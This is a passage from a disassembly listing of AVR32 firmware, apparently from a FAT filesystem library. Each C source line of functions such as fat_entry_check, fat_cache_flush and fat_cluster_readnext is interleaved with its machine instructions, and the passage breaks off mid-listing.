+800044ca: e0 0b 18 00 cp.b r11,r0 +800044ce: c3 10 breq 80004530 + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( (0 != u8_entry_char) || (('\\' != u8_szname_char) && ('/' != u8_szname_char)) ) +800044d0: 58 09 cp.w r9,0 +800044d2: c0 d1 brne 800044ec +800044d4: 35 c0 mov r0,92 +800044d6: e0 0b 18 00 cp.b r11,r0 +800044da: 5f 11 srne r1 +800044dc: 32 f0 mov r0,47 +800044de: e0 0b 18 00 cp.b r11,r0 +800044e2: 5f 10 srne r0 +800044e4: 00 61 and r1,r0 +800044e6: f4 01 18 00 cp.b r1,r10 +800044ea: c0 c0 breq 80004502 + { + if((u8_szname_char != u8_entry_char) +800044ec: f2 0b 18 00 cp.b r11,r9 +800044f0: c0 70 breq 800044fe +800044f2: f2 c0 ff e0 sub r0,r9,-32 +800044f6: 00 3b cp.w r11,r0 +800044f8: c0 30 breq 800044fe +800044fa: 30 0c mov r12,0 +800044fc: c1 b8 rjmp 80004532 + return false; // short name not equal + } + } + + // For each characters + if (0 == u8_entry_char) +800044fe: 58 09 cp.w r9,0 +80004500: c0 b1 brne 80004516 + { + if( g_b_string_length ) +80004502: 49 08 lddpc r8,80004540 +80004504: 11 89 ld.ub r9,r8[0x0] +80004506: 30 08 mov r8,0 +80004508: f0 09 18 00 cp.b r9,r8 +8000450c: c1 20 breq 80004530 + { + ((FS_STR_UNICODE)sz_name)[0] = u8_pos_name+1; // Get length name +8000450e: 2f fe sub lr,-1 +80004510: ae 0e st.h r7[0x0],lr +80004512: 30 1c mov r12,1 +80004514: c0 f8 rjmp 80004532 + } + return true; // End of test correct or end of get name + } + if( !g_b_string_length ) +80004516: 48 b9 lddpc r9,80004540 +80004518: 13 89 ld.ub r9,r9[0x0] + { + sz_name += (Is_unicode? 2 : 1 ); +8000451a: ee cb ff ff sub r11,r7,-1 +8000451e: f4 09 18 00 cp.b r9,r10 +80004522: f6 07 17 00 moveq r7,r11 + } + u8_pos_name++; +80004526: 2f fe sub lr,-1 +80004528: 5c 5e castu.b lr + u8_pos_entry++; +8000452a: 2f f8 sub r8,-1 +8000452c: 5c 58 castu.b r8 + } +8000452e: c9 0b rjmp 8000444e +80004530: 30 1c mov r12,1 +} +80004532: 2f dd sub sp,-12 +80004534: d8 32 popm r0-r7,pc +80004536: 00 00 add r0,r0 +80004538: 00 00 add r0,r0 +8000453a: 06 d4 st.w --r3,r4 +8000453c: 80 00 ld.sh r0,r0[0x0] +8000453e: 42 64 lddsp r4,sp[0x98] +80004540: 00 00 add r0,r0 +80004542: 06 d5 st.w --r3,r5 + +80004544 : +//! OUT: +//! fs_g_nav_entry. u32_cluster, u8_attr, u32_size +//! @endverbatim +//! +void fat_get_entry_info( void ) +{ +80004544: d4 01 pushm lr + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); +80004546: f0 1f 00 10 mcall 80004584 + + // Get attribut + ptr_entry+= 11; + fs_g_nav_entry.u8_attr = ptr_entry[0]; +8000454a: 49 08 lddpc r8,80004588 +8000454c: f9 39 00 0b ld.ub r9,r12[11] +80004550: b0 a9 st.b r8[0x2],r9 + + // Get the first cluster of the file cluster list + ptr_entry += (20-11); +80004552: f8 ca ff ec sub r10,r12,-20 + LSB2(fs_g_nav_entry.u32_cluster) = ptr_entry[0]; +80004556: f0 c9 ff fc sub r9,r8,-4 +8000455a: 15 8b ld.ub r11,r10[0x0] +8000455c: b2 9b st.b r9[0x1],r11 + LSB3(fs_g_nav_entry.u32_cluster) = ptr_entry[1]; +8000455e: 15 9a ld.ub r10,r10[0x1] +80004560: b2 8a st.b r9[0x0],r10 + ptr_entry += (26-20); +80004562: f8 ca ff e6 sub r10,r12,-26 + LSB0(fs_g_nav_entry.u32_cluster) = ptr_entry[0]; +80004566: 15 8b ld.ub r11,r10[0x0] +80004568: b2 bb st.b r9[0x3],r11 + LSB1(fs_g_nav_entry.u32_cluster) = ptr_entry[1]; +8000456a: 15 9a ld.ub r10,r10[0x1] +8000456c: b2 aa st.b r9[0x2],r10 + + // Get the size of file + ptr_entry += (28-26); +8000456e: 2e 4c sub r12,-28 + LSB0(fs_g_nav_entry.u32_size) = ptr_entry[0]; +80004570: 2f 88 sub r8,-8 +80004572: 19 89 ld.ub r9,r12[0x0] +80004574: b0 b9 st.b r8[0x3],r9 + LSB1(fs_g_nav_entry.u32_size) = ptr_entry[1]; +80004576: 19 99 ld.ub r9,r12[0x1] +80004578: b0 a9 st.b r8[0x2],r9 + LSB2(fs_g_nav_entry.u32_size) = ptr_entry[2]; +8000457a: 19 a9 ld.ub r9,r12[0x2] +8000457c: b0 99 st.b r8[0x1],r9 + LSB3(fs_g_nav_entry.u32_size) = ptr_entry[3]; +8000457e: 19 b9 ld.ub r9,r12[0x3] +80004580: b0 89 st.b r8[0x0],r9 +} +80004582: d8 02 popm pc +80004584: 80 00 ld.sh r0,r0[0x0] +80004586: 42 64 lddsp r4,sp[0x98] +80004588: 00 00 add r0,r0 +8000458a: 04 44 or r4,r2 + +8000458c : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_check( Bool b_type ) +{ +8000458c: eb cd 40 80 pushm r7,lr +80004590: 18 97 mov r7,r12 + PTR_CACHE u8_ptr_entry; + uint8_t u8_first_byte, u8_seconde_byte; + uint8_t u8_attribut; + + u8_ptr_entry = fat_get_ptr_entry(); +80004592: f0 1f 00 17 mcall 800045ec + + u8_first_byte = u8_ptr_entry[0]; +80004596: 19 88 ld.ub r8,r12[0x0] + if ( FS_ENTRY_END == u8_first_byte ) +80004598: 58 08 cp.w r8,0 +8000459a: c0 61 brne 800045a6 + { + fs_g_status = FS_ERR_ENTRY_EMPTY; // end of directory +8000459c: 30 a9 mov r9,10 +8000459e: 49 58 lddpc r8,800045f0 +800045a0: b0 89 st.b r8[0x0],r9 +800045a2: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + return false; + } + fs_g_status = FS_ERR_ENTRY_BAD; // by default BAD ENTRY +800045a6: 30 ba mov r10,11 +800045a8: 49 29 lddpc r9,800045f0 +800045aa: b2 8a st.b r9[0x0],r10 + if ( FS_ENTRY_DEL == u8_first_byte ) { return false; } // entry deleted +800045ac: 3e 59 mov r9,-27 +800045ae: f2 08 18 00 cp.b r8,r9 +800045b2: c1 a0 breq 800045e6 + if ( '.' == u8_first_byte ) { return false; } // current dir "." +800045b4: 32 e9 mov r9,46 +800045b6: f2 08 18 00 cp.b r8,r9 +800045ba: c1 60 breq 800045e6 + if ( ('.' == u8_first_byte) + && ('.' == u8_seconde_byte) ) { return false; } // current dir ".." + + // Check attribut + u8_attribut = u8_ptr_entry[11]; + if ( FS_ATTR_VOLUME_ID & u8_attribut ) { return false; } // volume id +800045bc: f9 38 00 0b ld.ub r8,r12[11] +800045c0: 10 99 mov r9,r8 +800045c2: e2 19 00 08 andl r9,0x8,COH +800045c6: c1 01 brne 800045e6 + // Optimization, this line isn't necessary because the next test control this case + // if ( FS_ATTR_LFN_ENTRY == *u8_ptr_entry) { return false; } // long file name + + // Check entry type + if( FS_ATTR_DIRECTORY & u8_attribut ) +800045c8: e2 18 00 10 andl r8,0x10,COH +800045cc: c0 70 breq 800045da + { + return (FS_DIR == b_type); +800045ce: 30 08 mov r8,0 +800045d0: f0 07 18 00 cp.b r7,r8 +800045d4: 5f 0c sreq r12 +800045d6: e3 cd 80 80 ldm sp++,r7,pc + }else{ + return (FS_FILE == b_type); +800045da: 30 18 mov r8,1 +800045dc: f0 07 18 00 cp.b r7,r8 +800045e0: 5f 0c sreq r12 +800045e2: e3 cd 80 80 ldm sp++,r7,pc +800045e6: e3 cf 80 80 ldm sp++,r7,pc,r12=0 +800045ea: 00 00 add r0,r0 +800045ec: 80 00 ld.sh r0,r0[0x0] +800045ee: 42 64 lddsp r4,sp[0x98] +800045f0: 00 00 add r0,r0 +800045f2: 06 d4 st.w --r3,r4 + +800045f4 : + +//! This function resets the sector cache +//! +void fat_cache_reset( void ) +{ + fs_g_sectorcache.u8_lun = FS_BUF_SECTOR_EMPTY; +800045f4: 48 58 lddpc r8,80004608 +800045f6: 3f f9 mov r9,-1 +800045f8: b0 89 st.b r8[0x0],r9 + fs_g_sectorcache.u8_dirty = false; +800045fa: 30 09 mov r9,0 +800045fc: f1 69 00 08 st.b r8[8],r9 + fs_g_sectorcache.u32_clusterlist_start = 0xFFFFFFFF; +80004600: 3f f9 mov r9,-1 +80004602: 91 39 st.w r8[0xc],r9 +} +80004604: 5e fc retal r12 +80004606: 00 00 add r0,r0 +80004608: 00 00 add r0,r0 +8000460a: 07 0c ld.w r12,r3++ + +8000460c : + +//! This function sets a flag to signal that sector cache is modified +//! +void fat_cache_mark_sector_as_dirty( void ) +{ + fs_g_sectorcache.u8_dirty = true; +8000460c: 30 19 mov r9,1 +8000460e: 48 38 lddpc r8,80004618 +80004610: f1 69 00 08 st.b r8[8],r9 +} +80004614: 5e fc retal r12 +80004616: 00 00 add r0,r0 +80004618: 00 00 add r0,r0 +8000461a: 07 0c ld.w r12,r3++ + +8000461c : +//! OUT: +//! fs_g_sector Updated +//! @endverbatim +//! +void fat_write_entry_file( void ) +{ +8000461c: d4 01 pushm lr + PTR_CACHE ptr_entry; + + fat_cache_mark_sector_as_dirty(); +8000461e: f0 1f 00 11 mcall 80004660 + ptr_entry = fat_get_ptr_entry(); +80004622: f0 1f 00 11 mcall 80004664 + fs_g_nav_entry.u32_cluster = 0; + } + + //! Write the attribut + ptr_entry+= 11; + ptr_entry[0] = fs_g_nav_entry.u8_attr; +80004626: 49 18 lddpc r8,80004668 +80004628: 11 a9 ld.ub r9,r8[0x2] +8000462a: f9 69 00 0b st.b r12[11],r9 + + // Write the first cluster of file cluster list + ptr_entry += (20-11); +8000462e: f8 ca ff ec sub r10,r12,-20 + ptr_entry[0] = LSB2(fs_g_nav_entry.u32_cluster); +80004632: f0 c9 ff fc sub r9,r8,-4 +80004636: 13 9b ld.ub r11,r9[0x1] +80004638: b4 8b st.b r10[0x0],r11 + ptr_entry[1] = LSB3(fs_g_nav_entry.u32_cluster); +8000463a: 13 8b ld.ub r11,r9[0x0] +8000463c: b4 9b st.b r10[0x1],r11 + ptr_entry += (26-20); +8000463e: f8 ca ff e6 sub r10,r12,-26 + ptr_entry[0] = LSB0(fs_g_nav_entry.u32_cluster); +80004642: 13 bb ld.ub r11,r9[0x3] +80004644: b4 8b st.b r10[0x0],r11 + ptr_entry[1] = LSB1(fs_g_nav_entry.u32_cluster); +80004646: 13 a9 ld.ub r9,r9[0x2] +80004648: b4 99 st.b r10[0x1],r9 + + //! Write the size of file + ptr_entry += (28-26); +8000464a: 2e 4c sub r12,-28 + ptr_entry[0] = LSB0(fs_g_nav_entry.u32_size); +8000464c: 2f 88 sub r8,-8 +8000464e: 11 b9 ld.ub r9,r8[0x3] +80004650: b8 89 st.b r12[0x0],r9 + ptr_entry[1] = LSB1(fs_g_nav_entry.u32_size); +80004652: 11 a9 ld.ub r9,r8[0x2] +80004654: b8 99 st.b r12[0x1],r9 + ptr_entry[2] = LSB2(fs_g_nav_entry.u32_size); +80004656: 11 99 ld.ub r9,r8[0x1] +80004658: b8 a9 st.b r12[0x2],r9 + ptr_entry[3] = LSB3(fs_g_nav_entry.u32_size); +8000465a: 11 88 ld.ub r8,r8[0x0] +8000465c: b8 b8 st.b r12[0x3],r8 +} +8000465e: d8 02 popm pc +80004660: 80 00 ld.sh r0,r0[0x0] +80004662: 46 0c lddsp r12,sp[0x180] +80004664: 80 00 ld.sh r0,r0[0x0] +80004666: 42 64 lddsp r4,sp[0x98] +80004668: 00 00 add r0,r0 +8000466a: 04 44 or r4,r2 + +8000466c : + + // For each navigators + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + // Disk mounted ? + if( FS_TYPE_FAT_UNM != fs_g_navext_fast[i].u8_type_fat ) +8000466c: 49 88 lddpc r8,800046cc +8000466e: 11 89 ld.ub r9,r8[0x0] +80004670: 30 08 mov r8,0 +80004672: f0 09 18 00 cp.b r9,r8 +80004676: c2 a0 breq 800046ca + // Is it the same disk ? + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) +80004678: 49 68 lddpc r8,800046d0 +8000467a: 11 89 ld.ub r9,r8[0x0] +8000467c: 49 68 lddpc r8,800046d4 +8000467e: 11 88 ld.ub r8,r8[0x0] +80004680: f0 09 18 00 cp.b r9,r8 +80004684: c2 31 brne 800046ca +#if (FS_MULTI_PARTITION == ENABLED) + // Is it the same partition ? + if( fs_g_nav.u8_partition == fs_g_navext[i].u8_partition ) +#endif + // Is it the same directory ? + if( fs_g_nav.u32_cluster_sel_dir == fs_g_navext[i].u32_cluster_sel_dir ) +80004686: 49 38 lddpc r8,800046d0 +80004688: 70 89 ld.w r9,r8[0x20] +8000468a: 49 38 lddpc r8,800046d4 +8000468c: 70 88 ld.w r8,r8[0x20] +8000468e: 10 39 cp.w r9,r8 +80004690: c1 d1 brne 800046ca + // Is it the same file ? + if( fs_g_nav_fast.u16_entry_pos_sel_file == fs_g_navext_fast[i].u16_entry_pos_sel_file ) +80004692: 49 28 lddpc r8,800046d8 +80004694: 90 19 ld.sh r9,r8[0x2] +80004696: 48 e8 lddpc r8,800046cc +80004698: 90 18 ld.sh r8,r8[0x2] +8000469a: f0 09 19 00 cp.h r9,r8 +8000469e: c1 61 brne 800046ca + { + if( mode ) +800046a0: 58 0c cp.w r12,0 +800046a2: c0 b0 breq 800046b8 + { + // Is it open ? + if( fs_g_navext_entry[i].u8_open_mode!=0 ) +800046a4: 48 e8 lddpc r8,800046dc +800046a6: 11 89 ld.ub r9,r8[0x0] +800046a8: 30 08 mov r8,0 +800046aa: f0 09 18 00 cp.b r9,r8 +800046ae: c0 e0 breq 800046ca + { + fs_g_status = FS_ERR_FILE_OPEN; +800046b0: 32 89 mov r9,40 +800046b2: 48 c8 lddpc r8,800046e0 +800046b4: b0 89 st.b r8[0x0],r9 +800046b6: 5e fd retal 0 + } + } + else + { + // Is it open in write mode ? + if( fs_g_navext_entry[i].u8_open_mode & FOPEN_WRITE_ACCESS ) +800046b8: 48 98 lddpc r8,800046dc +800046ba: 11 88 ld.ub r8,r8[0x0] +800046bc: e2 18 00 02 andl r8,0x2,COH +800046c0: c0 50 breq 800046ca + { + fs_g_status = FS_ERR_FILE_OPEN_WR; +800046c2: 32 99 mov r9,41 +800046c4: 48 78 lddpc r8,800046e0 +800046c6: b0 89 st.b r8[0x0],r9 +800046c8: 5e fd retal 0 + return false; // File opened in write mode then read access not possibled +800046ca: 5e ff retal 1 +800046cc: 00 00 add r0,r0 +800046ce: 06 cc st.b r3++,r12 +800046d0: 00 00 add r0,r0 +800046d2: 06 84 andn r4,r3 +800046d4: 00 00 add r0,r0 +800046d6: 06 d8 st.w --r3,r8 +800046d8: 00 00 add r0,r0 +800046da: 06 d0 st.w --r3,r0 +800046dc: 00 00 add r0,r0 +800046de: 06 bc st.h r3++,r12 +800046e0: 00 00 add r0,r0 +800046e2: 06 d4 st.w --r3,r4 + +800046e4 : +//! This function inverts the current navigation with another +//! +//! @param u8_idnav Id navigator to invert +//! +void fat_invert_nav( uint8_t u8_idnav ) +{ +800046e4: d4 21 pushm r4-r7,lr +800046e6: 20 dd sub sp,52 + _MEM_TYPE_SLOW_ uint8_t Temp[Max(Max(sizeof(Fs_management),sizeof(Fs_management_entry)),sizeof(Fs_management_fast))]; + + if( u8_idnav == 0 ) +800046e8: 58 0c cp.w r12,0 +800046ea: c5 a0 breq 8000479e + return; + u8_idnav--; + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav, sizeof(Fs_management)); +800046ec: 1a 97 mov r7,sp +800046ee: 4a e8 lddpc r8,800047a4 +800046f0: f0 ea 00 00 ld.d r10,r8[0] +800046f4: fa eb 00 00 st.d sp[0],r10 +800046f8: f0 ea 00 08 ld.d r10,r8[8] +800046fc: fa eb 00 08 st.d sp[8],r10 +80004700: f0 ea 00 10 ld.d r10,r8[16] +80004704: fa eb 00 10 st.d sp[16],r10 +80004708: f0 ea 00 18 ld.d r10,r8[24] +8000470c: fa eb 00 18 st.d sp[24],r10 +80004710: f0 ea 00 20 ld.d r10,r8[32] +80004714: fa eb 00 20 st.d sp[32],r10 +80004718: f0 ea 00 28 ld.d r10,r8[40] +8000471c: fa eb 00 28 st.d sp[40],r10 +80004720: 70 c9 ld.w r9,r8[0x30] +80004722: 50 c9 stdsp sp[0x30],r9 + memcpy_ram2ram((uint8_t*)&fs_g_nav, (uint8_t*)&fs_g_navext[u8_idnav], sizeof(Fs_management)); +80004724: f8 c6 00 01 sub r6,r12,1 +80004728: 5c 56 castu.b r6 +8000472a: ec 04 10 34 mul r4,r6,52 +8000472e: 49 f9 lddpc r9,800047a8 +80004730: 12 04 add r4,r9 +80004732: 33 45 mov r5,52 +80004734: 0a 9a mov r10,r5 +80004736: 08 9b mov r11,r4 +80004738: 10 9c mov r12,r8 +8000473a: f0 1f 00 1d mcall 800047ac + memcpy_ram2ram((uint8_t*)&fs_g_navext[u8_idnav], Temp, sizeof(Fs_management)); +8000473e: 0a 9a mov r10,r5 +80004740: 1a 9b mov r11,sp +80004742: 08 9c mov r12,r4 +80004744: f0 1f 00 1a mcall 800047ac + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav_entry, sizeof(Fs_management_entry)); +80004748: 49 ac lddpc r12,800047b0 +8000474a: f8 e8 00 00 ld.d r8,r12[0] +8000474e: fa e9 00 00 st.d sp[0],r8 +80004752: f8 e8 00 08 ld.d r8,r12[8] +80004756: fa e9 00 08 st.d sp[8],r8 + memcpy_ram2ram((uint8_t*)&fs_g_nav_entry, (uint8_t*)&fs_g_navext_entry[u8_idnav], sizeof(Fs_management_entry)); +8000475a: ec 04 15 04 lsl r4,r6,0x4 +8000475e: 49 68 lddpc r8,800047b4 +80004760: 10 04 add r4,r8 +80004762: 31 05 mov r5,16 +80004764: 0a 9a mov r10,r5 +80004766: 08 9b mov r11,r4 +80004768: f0 1f 00 11 mcall 800047ac + memcpy_ram2ram((uint8_t*)&fs_g_navext_entry[u8_idnav], Temp, sizeof(Fs_management_entry)); +8000476c: 0a 9a mov r10,r5 +8000476e: 1a 9b mov r11,sp +80004770: 08 9c mov r12,r4 +80004772: f0 1f 00 0f mcall 800047ac + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav_fast, sizeof(Fs_management_fast)); +80004776: 49 14 lddpc r4,800047b8 +80004778: 30 45 mov r5,4 +8000477a: 0a 9a mov r10,r5 +8000477c: 08 9b mov r11,r4 +8000477e: 1a 9c mov r12,sp +80004780: f0 1f 00 0b mcall 800047ac + memcpy_ram2ram((uint8_t*)&fs_g_nav_fast, (uint8_t*)&fs_g_navext_fast[u8_idnav], sizeof(Fs_management_fast)); +80004784: 48 e8 lddpc r8,800047bc +80004786: f0 06 00 26 add r6,r8,r6<<0x2 +8000478a: 0a 9a mov r10,r5 +8000478c: 0c 9b mov r11,r6 +8000478e: 08 9c mov r12,r4 +80004790: f0 1f 00 07 mcall 800047ac + memcpy_ram2ram((uint8_t*)&fs_g_navext_fast[u8_idnav], Temp, sizeof(Fs_management_fast)); +80004794: 0a 9a mov r10,r5 +80004796: 1a 9b mov r11,sp +80004798: 0c 9c mov r12,r6 +8000479a: f0 1f 00 05 mcall 800047ac +} +8000479e: 2f 3d sub sp,-52 +800047a0: d8 22 popm r4-r7,pc +800047a2: 00 00 add r0,r0 +800047a4: 00 00 add r0,r0 +800047a6: 06 84 andn r4,r3 +800047a8: 00 00 add r0,r0 +800047aa: 06 d8 st.w --r3,r8 +800047ac: 80 00 ld.sh r0,r0[0x0] +800047ae: 79 fa ld.w r10,r12[0x7c] +800047b0: 00 00 add r0,r0 +800047b2: 04 44 or r4,r2 +800047b4: 00 00 add r0,r0 +800047b6: 06 bc st.h r3++,r12 +800047b8: 00 00 add r0,r0 +800047ba: 06 d0 st.w --r3,r0 +800047bc: 00 00 add r0,r0 +800047be: 06 cc st.b r3++,r12 + +800047c0 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_cache_flush( void ) +{ +800047c0: d4 01 pushm lr + // If the cache is modified, then write the sector cache on the device + if ( true == fs_g_sectorcache.u8_dirty ) +800047c2: 49 08 lddpc r8,80004800 +800047c4: f1 39 00 08 ld.ub r9,r8[8] +800047c8: 30 18 mov r8,1 +800047ca: f0 09 18 00 cp.b r9,r8 +800047ce: c1 81 brne 800047fe + { + fs_g_sectorcache.u8_dirty = false; // Always clear, although an error occur +800047d0: 48 c8 lddpc r8,80004800 +800047d2: 30 09 mov r9,0 +800047d4: f1 69 00 08 st.b r8[8],r9 + if( mem_wr_protect( fs_g_sectorcache.u8_lun )) +800047d8: 11 8c ld.ub r12,r8[0x0] +800047da: f0 1f 00 0b mcall 80004804 +800047de: c0 50 breq 800047e8 + { + fs_g_status = FS_LUN_WP; +800047e0: 31 49 mov r9,20 +800047e2: 48 a8 lddpc r8,80004808 +800047e4: b0 89 st.b r8[0x0],r9 +800047e6: d8 0a popm pc,r12=0 + return false; + } + if (CTRL_GOOD != ram_2_memory( fs_g_sectorcache.u8_lun , fs_g_sectorcache.u32_addr , fs_g_sector )) +800047e8: 48 68 lddpc r8,80004800 +800047ea: 48 9a lddpc r10,8000480c +800047ec: 70 1b ld.w r11,r8[0x4] +800047ee: 11 8c ld.ub r12,r8[0x0] +800047f0: f0 1f 00 08 mcall 80004810 +800047f4: c0 50 breq 800047fe + { + fs_g_status = FS_ERR_HW; +800047f6: 30 19 mov r9,1 +800047f8: 48 48 lddpc r8,80004808 +800047fa: b0 89 st.b r8[0x0],r9 +800047fc: d8 0a popm pc,r12=0 + return false; +800047fe: da 0a popm pc,r12=1 +80004800: 00 00 add r0,r0 +80004802: 07 0c ld.w r12,r3++ +80004804: 80 00 ld.sh r0,r0[0x0] +80004806: 6a f0 ld.w r0,r5[0x3c] +80004808: 00 00 add r0,r0 +8000480a: 06 d4 st.w --r3,r4 +8000480c: 00 00 add r0,r0 +8000480e: 04 84 andn r4,r2 +80004810: 80 00 ld.sh r0,r0[0x0] +80004812: 6b 04 ld.w r4,r5[0x40] + +80004814 : + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function clears the sector cache +//! +void fat_cache_clear( void ) +{ +80004814: d4 01 pushm lr + memset( fs_g_sector , 0 , FS_CACHE_SIZE ); +80004816: e0 6a 02 00 mov r10,512 +8000481a: 30 0b mov r11,0 +8000481c: 48 2c lddpc r12,80004824 +8000481e: f0 1f 00 03 mcall 80004828 +} +80004822: d8 02 popm pc +80004824: 00 00 add r0,r0 +80004826: 04 84 andn r4,r2 +80004828: 80 00 ld.sh r0,r0[0x0] +8000482a: 7b 42 ld.w r2,sp[0x50] + +8000482c : +//! fs_g_nav.u8_lun drive number to read +//! fs_gu32_addrsector address to read (unit sector) +//! @endverbatim +//! +Bool fat_cache_read_sector( Bool b_load ) +{ +8000482c: eb cd 40 80 pushm r7,lr +80004830: 18 97 mov r7,r12 + // Check if the sector asked is the same in cache + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) +80004832: 49 78 lddpc r8,8000488c +80004834: 11 89 ld.ub r9,r8[0x0] +80004836: 49 78 lddpc r8,80004890 +80004838: 11 88 ld.ub r8,r8[0x0] +8000483a: f0 09 18 00 cp.b r9,r8 +8000483e: c0 91 brne 80004850 +80004840: 49 38 lddpc r8,8000488c +80004842: 70 19 ld.w r9,r8[0x4] +80004844: 49 48 lddpc r8,80004894 +80004846: 70 08 ld.w r8,r8[0x0] +80004848: 10 39 cp.w r9,r8 +8000484a: c0 31 brne 80004850 +8000484c: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + { + return true; + } + + // Write previous cache before fill cache with a new sector + if( !fat_cache_flush()) +80004850: f0 1f 00 12 mcall 80004898 +80004854: c1 90 breq 80004886 + return false; + + // Delete informations about the caches + fat_cache_reset(); +80004856: f0 1f 00 12 mcall 8000489c + + // Init sector cache + fs_g_sectorcache.u32_addr = fs_gu32_addrsector; +8000485a: 48 f8 lddpc r8,80004894 +8000485c: 70 0b ld.w r11,r8[0x0] +8000485e: 48 c8 lddpc r8,8000488c +80004860: 91 1b st.w r8[0x4],r11 + if( b_load ) +80004862: 58 07 cp.w r7,0 +80004864: c0 c0 breq 8000487c + { + // Load the sector from memory + if( CTRL_GOOD != memory_2_ram( fs_g_nav.u8_lun , fs_g_sectorcache.u32_addr, fs_g_sector)) +80004866: 48 fa lddpc r10,800048a0 +80004868: 48 a8 lddpc r8,80004890 +8000486a: 11 8c ld.ub r12,r8[0x0] +8000486c: f0 1f 00 0e mcall 800048a4 +80004870: c0 60 breq 8000487c + { + fs_g_status = FS_ERR_HW; +80004872: 30 19 mov r9,1 +80004874: 48 d8 lddpc r8,800048a8 +80004876: b0 89 st.b r8[0x0],r9 +80004878: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + return false; + } + } + // Valid sector cache + fs_g_sectorcache.u8_lun = fs_g_nav.u8_lun; +8000487c: 48 58 lddpc r8,80004890 +8000487e: 11 89 ld.ub r9,r8[0x0] +80004880: 48 38 lddpc r8,8000488c +80004882: b0 89 st.b r8[0x0],r9 +80004884: 30 1c mov r12,1 + return true; +} +80004886: e3 cd 80 80 ldm sp++,r7,pc +8000488a: 00 00 add r0,r0 +8000488c: 00 00 add r0,r0 +8000488e: 07 0c ld.w r12,r3++ +80004890: 00 00 add r0,r0 +80004892: 06 84 andn r4,r3 +80004894: 00 00 add r0,r0 +80004896: 04 40 or r0,r2 +80004898: 80 00 ld.sh r0,r0[0x0] +8000489a: 47 c0 lddsp r0,sp[0x1f0] +8000489c: 80 00 ld.sh r0,r0[0x0] +8000489e: 45 f4 lddsp r4,sp[0x17c] +800048a0: 00 00 add r0,r0 +800048a2: 04 84 andn r4,r2 +800048a4: 80 00 ld.sh r0,r0[0x0] +800048a6: 6b 40 ld.w r0,r5[0x50] +800048a8: 00 00 add r0,r0 +800048aa: 06 d4 st.w --r3,r4 + +800048ac : +//! fs_g_u16_pos_fat readed cluster position in FAT +//! fs_g_cluster.u32_val value of cluster readed +//! @endverbatim +//! +Bool fat_cluster_readnext( void ) +{ +800048ac: d4 01 pushm lr + // Compute the next cluster position in FAT + if ( Is_fat32 ) +800048ae: 49 f8 lddpc r8,80004928 +800048b0: 11 89 ld.ub r9,r8[0x0] +800048b2: 30 38 mov r8,3 +800048b4: f0 09 18 00 cp.b r9,r8 +800048b8: c0 61 brne 800048c4 + { + fs_g_u16_pos_fat += 4; +800048ba: 49 d8 lddpc r8,8000492c +800048bc: 90 09 ld.sh r9,r8[0x0] +800048be: 2f c9 sub r9,-4 +800048c0: b0 09 st.h r8[0x0],r9 +800048c2: c0 58 rjmp 800048cc + }else{ + // Is_fat16 + fs_g_u16_pos_fat += 2; +800048c4: 49 a8 lddpc r8,8000492c +800048c6: 90 09 ld.sh r9,r8[0x0] +800048c8: 2f e9 sub r9,-2 +800048ca: b0 09 st.h r8[0x0],r9 + } + + // Check if next cluster is in internal cache + if( FS_CACHE_SIZE == fs_g_u16_pos_fat ) +800048cc: 49 88 lddpc r8,8000492c +800048ce: 90 09 ld.sh r9,r8[0x0] +800048d0: e0 68 02 00 mov r8,512 +800048d4: f0 09 19 00 cp.h r9,r8 +800048d8: c0 c1 brne 800048f0 + { + // Update cache + fs_g_u16_pos_fat = 0; +800048da: 30 09 mov r9,0 +800048dc: 49 48 lddpc r8,8000492c +800048de: b0 09 st.h r8[0x0],r9 + fs_gu32_addrsector++; +800048e0: 49 48 lddpc r8,80004930 +800048e2: 70 09 ld.w r9,r8[0x0] +800048e4: 2f f9 sub r9,-1 +800048e6: 91 09 st.w r8[0x0],r9 + if( !fat_cache_read_sector( true )) +800048e8: 30 1c mov r12,1 +800048ea: f0 1f 00 13 mcall 80004934 +800048ee: c1 b0 breq 80004924 + return false; + } + + //**** Read the cluster value + LSB0( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+0]; // FAT 16,32 +800048f0: 49 28 lddpc r8,80004938 +800048f2: 2f c8 sub r8,-4 +800048f4: 48 e9 lddpc r9,8000492c +800048f6: 92 89 ld.uh r9,r9[0x0] +800048f8: 49 1a lddpc r10,8000493c +800048fa: f4 09 07 0b ld.ub r11,r10[r9] +800048fe: b0 bb st.b r8[0x3],r11 + LSB1( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+1]; // FAT 16,32 +80004900: 12 0a add r10,r9 +80004902: 15 9a ld.ub r10,r10[0x1] +80004904: b0 aa st.b r8[0x2],r10 + + if ( Is_fat32 ) +80004906: 48 9a lddpc r10,80004928 +80004908: 15 8b ld.ub r11,r10[0x0] +8000490a: 30 3a mov r10,3 +8000490c: f4 0b 18 00 cp.b r11,r10 +80004910: c0 20 breq 80004914 +80004912: da 0a popm pc,r12=1 + { // FAT 32 + LSB2( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+2]; +80004914: 48 aa lddpc r10,8000493c +80004916: f4 09 00 09 add r9,r10,r9 +8000491a: 13 aa ld.ub r10,r9[0x2] +8000491c: b0 9a st.b r8[0x1],r10 + LSB3( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+3]; +8000491e: 13 b9 ld.ub r9,r9[0x3] +80004920: b0 89 st.b r8[0x0],r9 +80004922: 30 1c mov r12,1 + } + return true; +} +80004924: d8 02 popm pc +80004926: 00 00 add r0,r0 +80004928: 00 00 add r0,r0 +8000492a: 06 d0 st.w --r3,r0 +8000492c: 00 00 add r0,r0 +8000492e: 04 